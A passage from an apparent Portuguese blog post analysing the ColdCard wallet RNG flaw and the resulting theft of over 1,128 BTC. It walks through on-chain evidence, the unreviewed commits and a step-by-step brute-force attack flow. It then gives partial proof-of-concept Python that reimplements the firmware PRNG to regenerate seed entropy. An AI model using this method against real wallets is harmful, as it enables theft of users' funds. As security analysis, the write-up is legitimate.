<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_from_bytes</span><span class="p">,</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.script</span> <span class="kn">import</span> <span class="n">p2wpkh</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">entropy</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;0123456789abcdef0123456789abcdef&#34;</span><span class="p">)</span>  <span class="c1"># 128 bits</span>
</span></span><span class="line"><span class="cl"><span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Saída:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">entropia (128 bits): 0123456789abcdef0123456789abcdef
</span></span><span class="line"><span class="cl">mnemonic (12 palavras): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
</span></span><span class="line"><span class="cl">seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
</span></span><span class="line"><span class="cl">root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
</span></span><span class="line"><span class="cl">chave privada (número inteiro): 1332683685242456724974769347593961509584253593377187298409830148921683854281
</span></span><span class="line"><span class="cl">endereço: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A chave privada é só um número inteiro. A partir dele, a <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">curva elíptica</a> calcula a chave pública; a chave pública é hasheada até virar o endereço. O endereço é o que aparece na blockchain; o número inteiro é o que permite gastar.</p>
<p>No caso ColdCard, o número inteiro não tinha 128 bits de aleatoriedade real. Tinha ~40. Então, em vez de procurar uma agulha no universo, o atacante procurava uma agulha em uma floresta pequena.</p>
<h2>Evidência real na blockchain<span class="hx:absolute hx:-mt-20" id="evidência-real-na-blockchain"></span>
    <a href="#evid%c3%aancia-real-na-blockchain" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não estou inventando números. O site independente <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch.vercel.app</a> vem rastreando os drains transação a transação e publica o mínimo verificado: <strong>1.128,6633 BTC</strong> drenados de <strong>2.334 endereços</strong> confirmados. O próprio site deixa claro que esses são <strong>mínimos verificados, não totais</strong> — outras clusters provavelmente existem.</p>
<p>Ele identifica dois episódios de drenagem:</p>
<ul>
<li><strong>30 de julho de 2026</strong>, blocos <strong>960183 a 960191</strong> — 1.195 endereços drenados.</li>
<li><strong>31 de julho de 2026</strong>, blocos <strong>960345 a 960369</strong> — 1.126 endereços drenados.</li>
</ul>
<p>Os principais clusters públicos que compõem esse mínimo incluem:</p>
<ul>
<li><a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"><code>bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0</code></a> — <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">recebeu 594,47723261 BTC</a> em 501 outputs.</li>
<li><a href="https://mempool.space/address/bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3"target="_blank" rel="noopener"><code>bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3</code></a> — <a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener">recebeu ~398,476 BTC</a> em uma única transação com 491 inputs (<a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener"><code>14edd9ee...</code></a>).</li>
<li><a href="https://mempool.space/address/bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q"target="_blank" rel="noopener"><code>bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q</code></a> — <a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener">recebeu ~89,623 BTC</a> em uma única transação com 204 inputs (<a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener"><code>4b50d61a...</code></a>).</li>
</ul>
<p>Só esses três clusters já somam ~1.082 BTC; as demais transações verificadas levam o total mínimo para <strong>1.128,6633 BTC</strong>.</p>
<blockquote>
  <p>O primeiro cluster transferiu ~562 BTC para <a href="https://mempool.space/address/bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r"target="_blank" rel="noopener"><code>bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r</code></a>; é o mesmo dinheiro, não uma quarta vítima.</p>

</blockquote>
<p>Um exemplo concreto: a transação <a href="https://mempool.space/tx/78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d"target="_blank" rel="noopener"><code>78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d</code></a> consolida três inputs do mesmo endereço vulnerável <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, sendo um deles de quase <strong>29,9 BTC</strong>. Os três inputs usam a mesma chave pública comprimida:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou seja, três UTXOs diferentes, mesmo dono, mesma chave privada. O atacante encontrou essa chave e assinou tudo de uma vez.</p>
<p>Outros endereços de origem com valores expressivos incluem <a href="https://mempool.space/address/bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf"target="_blank" rel="noopener"><code>bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf</code></a> (~24,08 BTC), <a href="https://mempool.space/address/bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5"target="_blank" rel="noopener"><code>bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5</code></a> (~14,43 BTC) e <a href="https://mempool.space/address/bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw"target="_blank" rel="noopener"><code>bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw</code></a> (~11,74 BTC). Você pode clicar em cada um e ver os UTXOs sendo movidos para um endereço de consolidação.</p>
<p>A Bitcoin Optech <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">edição 416</a> estimava perdas acima de 1.000 BTC enquanto o caso se desenrolava; o rastreamento independente agora confirma <strong>pelo menos 1.128,6633 BTC</strong> roubados.</p>
<h2>O que a timeline na blockchain sugere sobre a ordem do ataque<span class="hx:absolute hx:-mt-20" id="o-que-a-timeline-na-blockchain-sugere-sobre-a-ordem-do-ataque"></span>
    <a href="#o-que-a-timeline-na-blockchain-sugere-sobre-a-ordem-do-ataque" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch</a> mostra <strong>dois episódios distintos</strong>, separados por mais de 24 horas. O primeiro aconteceu entre os blocos 960183 e 960191 (30 de julho, por volta de 01:10 UTC); o segundo, entre 960345 e 960369 (31 de julho). Dentro do primeiro episódio, os três grandes clusters (~594, ~398 e ~89 BTC) foram minerados em blocos consecutivos — portanto, dentro de cada onda as varreduras foram disparadas praticamente ao mesmo tempo.</p>
<p>Essa forma de ondas separadas é compatível com duas interpretações:</p>
<ol>
<li><strong>Mesmo atacante, pré-computação em lotes.</strong> A primeira onda pega os alvos mais fáceis e mais bem financiados; a segunda onda vem de um segundo lote de candidatos já pré-computados.</li>
<li><strong>Múltiplos atacantes.</strong> Depois que a falha se tornou pública, outros atores entraram com seus próprios dicionários de estados prováveis.</li>
</ol>
<p>Em qualquer um dos casos, a economia do ataque favorece a ordem da tabela anterior. O Mk2/Mk3 v4 é o melhor custo-benefício:</p>
<ul>
<li><strong>~40 bits efetivos</strong> ≈ 2^40 ≈ <strong>1,1 trilhão</strong> de estados candidatos.</li>
<li>Numa GPU que teste 1 milhão de candidatos por segundo (incluindo derivação BIP32 e consulta ao explorer), levaria cerca de <strong>13 dias</strong> para varrer tudo. Com 100 GPUs/FPGAs, cai para <strong>poucas horas</strong>.</li>
<li>Como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, conforme a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> aponta, o SysTick sozinho reduz o espaço a ~80 mil valores (~16 bits), tornando a busca trivial em segundos.</li>
</ul>
<p>Mk4/Q/Mk5 com reseed depende do quanto o fallback é conhecido:</p>
<ul>
<li>Se o fallback é conhecido, só restam os <strong>32 bits</strong> do secure element: 2^32 ≈ <strong>4,3 bilhões</strong> de candidatos por aparelho, ou cerca de <strong>1,2 hora</strong> por dispositivo a 1 milhão/s.</li>
<li>Se o fallback é completamente desconhecido, o espaço sobe para ~2^72, cerca de <strong>4,7 sextilhões</strong> de candidatos — inviável por força bruta pura.</li>
</ul>
<p>Por isso a primeira onda deve ser dominada por Mk3. A segunda onda, mais de um dia depois, pode incluir lotes adicionais do mesmo modelo ou modelos mais difíceis em que o atacante conseguiu perfilar o fallback. Sem identificar o modelo por trás de cada endereço, não dá para afirmar com certeza, mas a ordem de dificuldade está clara.</p>
<p>A velocidade também mostra que o ataque não começou do zero no dia 30 de julho. Para varrer 1,1 trilhão de estados e achar centenas de endereços com saldo, o atacante já tinha infraestrutura pronta ou passou dias ou semanas pré-computando antes de mover os primeiros UTXOs.</p>
<h2>O que a chain revela sobre a operação<span class="hx:absolute hx:-mt-20" id="o-que-a-chain-revela-sobre-a-operação"></span>
    <a href="#o-que-a-chain-revela-sobre-a-opera%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O site <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> analisa em detalhe as três ondas que esvaziaram 1.082,59 BTC em <strong>41 minutos</strong> (blocos 960183 a 960191). Embora o site avise que foi compilado por um agente de IA e não revisado por humanos, os dados da blockchain são verificáveis:</p>
<table>
  <thead>
      <tr>
          <th>Onda</th>
          <th>Bloco(s)</th>
          <th>BTC</th>
          <th>Endereços</th>
          <th>Observação</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>960183</td>
          <td>~89,62</td>
          <td>204</td>
          <td>Levou tudo, inclusive poeira abaixo do valor da taxa.</td>
      </tr>
      <tr>
          <td>2</td>
          <td>960185</td>
          <td>~398,49</td>
          <td>491</td>
          <td>Ataque mais denso; deixou saldos abaixo de ~0,108 BTC.</td>
      </tr>
      <tr>
          <td>3</td>
          <td>960188–960191</td>
          <td>~594,48</td>
          <td>500</td>
          <td>A onda que a imprensa noticiou; começou 3,5 minutos depois da 2.</td>
      </tr>
  </tbody>
</table>
<p>Detalhes que saltam aos olhos:</p>
<ul>
<li><strong>Ordem por saldo:</strong> dentro de cada onda, as transações foram ordenadas do maior para o menor saldo. Isso não é acidente; é uma fila de prioridade configurada no script.</li>
<li><strong>Formato idêntico:</strong> todas as 1.195 sweeps gastam todos os UTXOs de um único endereço de origem para um único output, sem troco. Não há variação manual.</li>
<li><strong>Taxa uniforme:</strong> mediana de 30,136986 sat/vB em todas as ondas — o mesmo script escolhendo a taxa.</li>
<li><strong>Tipos de endereço:</strong> 1.182 eram SegWit nativo (<code>v0_p2wpkh</code>), 7 P2SH-wrapped e 6 legacy. Portanto o ataque não se limitou a BIP84, embora a maioria dos usuários ColdCard use bech32.</li>
<li><strong>Fundos parados:</strong> até o momento em que o site congelou os dados, os ~1.082 BTC ainda estavam nos vaults, sem mixer, sem peel chain, sem movimentação posterior.</li>
</ul>
<p>Tudo isso aponta para uma única operação automatizada, não para 1.195 roubos independentes.</p>
<h2>Como isso passou despercebido<span class="hx:absolute hx:-mt-20" id="como-isso-passou-despercebido"></span>
    <a href="#como-isso-passou-despercebido" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O mesmo <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> mapeia os commits que introduziram o bug. Os fatos mais graves:</p>
<ul>
<li>O commit que adicionou a guarda <code>#ifndef</code> errada no <code>libngu</code> teve uma mensagem de <strong>um caractere</strong>, alterou 28 arquivos e <strong>não passou por pull request</strong>.</li>
<li>O commit <code>First pass w/ libNgU</code>, que migrou a geração de seeds para o libngu e removeu código GPL, alterou <strong>120 arquivos</strong> e também foi empurrado diretamente, sem PR.</li>
<li>Os dois commits posteriores que adicionaram o reseed de 32 bits e a mistura do secure element até abriram PRs, mas <strong>foram mergeados com zero reviews</strong>.</li>
</ul>
<p>Uma mudança crítica no caminho de geração de entropia passou sem revisão end-to-end. O TRNG correto existia no binário; o problema foi que o símbolo errado foi linkado, e ninguém escreveu um teste que provasse de onde a seed realmente vinha.</p>
<h2>O passo a passo conceitual do ataque<span class="hx:absolute hx:-mt-20" id="o-passo-a-passo-conceitual-do-ataque"></span>
    <a href="#o-passo-a-passo-conceitual-do-ataque" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes do código, o fluxo geral:</p>
<ol>
<li><strong>Reproduzir o RNG.</strong> O atacante implementa o Yasmarang exatamente como no firmware, incluindo o XOR com o segundo Yasmarang do <code>libNgU</code>.</li>
<li><strong>Enumerar estados plausíveis.</strong> Para cada combinação de UID, SysTick, RTC e, nos modelos novos, reseed do secure element, ele gera os 32 bytes que a ColdCard teria gerado como entropia.</li>
<li><strong>Derivar a wallet.</strong> A partir dessa entropia, calcula a mnemonic BIP39, a seed BIP32, e deriva os primeiros endereços de recebimento e troco.</li>
<li><strong>Consultar a blockchain.</strong> Para cada endereço derivado, pergunta a um explorador ou a um node próprio se existe UTXO.</li>
<li><strong>Parar no match.</strong> Quando um endereço derivado bate com um endereço que tem saldo, o atacante já tem a chave privada correspondente.</li>
<li><strong>Gastar.</strong> Com a chave privada, ele monta uma transação que move o UTXO para um endereço que ele controla.</li>
</ol>
<p>A blockchain é o oráculo. Sem ela, o atacante não saberia qual estado gerou dinheiro real. Com ela, cada UTXO encontrado confirma que ele acertou a chave.</p>
<h2>Código de prova de conceito<span class="hx:absolute hx:-mt-20" id="código-de-prova-de-conceito"></span>
    <a href="#c%c3%b3digo-de-prova-de-conceito" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O script abaixo é didático. Ele não foi otimizado para GPU, não roda em segundos contra 40 bits e não lida com todas as variações de firmware. O que ele faz é tornar o ataque legível, função por função.</p>
<h3>1. O PRNG quebrado: Yasmarang<span class="hx:absolute hx:-mt-20" id="1-o-prng-quebrado-yasmarang"></span>
    <a href="#1-o-prng-quebrado-yasmarang" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">yasmarang_step</span><span class="p">(</span><span class="n">state</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;state = [pad, n, d, dat]; muta a lista e devolve um uint32.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span> <span class="o">=</span> <span class="n">state</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span> <span class="o">+</span> <span class="n">dat</span> <span class="o">+</span> <span class="n">d</span> <span class="o">*</span> <span class="n">n</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">29</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">n</span> <span class="o">=</span> <span class="n">pad</span> <span class="o">|</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="p">(</span><span class="n">d</span> <span class="o">^</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">31</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">dat</span> <span class="o">=</span> <span class="p">(</span><span class="n">dat</span> <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">out</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">18</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">dat</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">state</span><span class="p">[:]</span> <span class="o">=</span> <span class="p">[</span><span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">out</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> implementa o gerador determinístico que estava no firmware. É a mesma função que qualquer um pode copiar do <a href="https://raw.githubusercontent.com/micropython/micropython/master/ports/stm32/rng.c"target="_blank" rel="noopener">código fonte do MicroPython</a>.</p>
<p><strong>Exemplo de estado:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="n">s</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="p">[</span><span class="nb">hex</span><span class="p">(</span><span class="n">yasmarang_step</span><span class="p">(</span><span class="n">s</span><span class="p">))</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="s1">&#39;0x12f99f10&#39;</span><span class="p">,</span> <span class="s1">&#39;0x1e0841df&#39;</span><span class="p">,</span> <span class="s1">&#39;0x8f794c6c&#39;</span><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>2. Do estado do RNG para entropia da ColdCard<span class="hx:absolute hx:-mt-20" id="2-do-estado-do-rng-para-entropia-da-coldcard"></span>
    <a href="#2-do-estado-do-rng-para-entropia-da-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Simula o que a ColdCard fazia para gerar os 32 bytes de entropia.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">    - MicroPython inicializa seu Yasmarang com:
</span></span></span><span class="line"><span class="cl"><span class="s2">        pad = UID_low32 ^ SysTick-&gt;VAL
</span></span></span><span class="line"><span class="cl"><span class="s2">        n   = RTC-&gt;TR
</span></span></span><span class="line"><span class="cl"><span class="s2">        d   = RTC-&gt;SSR
</span></span></span><span class="line"><span class="cl"><span class="s2">    - libNgU mantém um segundo Yasmarang com constantes públicas.
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Cada palavra de 32 bits é: chip ^ my_yasmarang().
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Nos Mk4/Q/Mk5, o reseed altera o &#39;pad&#39; do estado do libNgU.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mpy_state</span> <span class="o">=</span> <span class="p">[</span><span class="n">uid_low32</span> <span class="o">^</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">libngu_state</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">reseed</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># reseed() no firmware só sobrescreve yasmarang_pad</span>
</span></span><span class="line"><span class="cl">        <span class="n">libngu_state</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">reseed</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># A ColdCard pode fazer chamadas extras antes de gerar a seed (health</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># check, etc.). Na prática o atacante modela o histórico exato de</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># chamadas. Aqui simplificamos para 8 palavras = 32 bytes.</span>
</span></span><span class="line"><span class="cl">    <span class="n">words</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
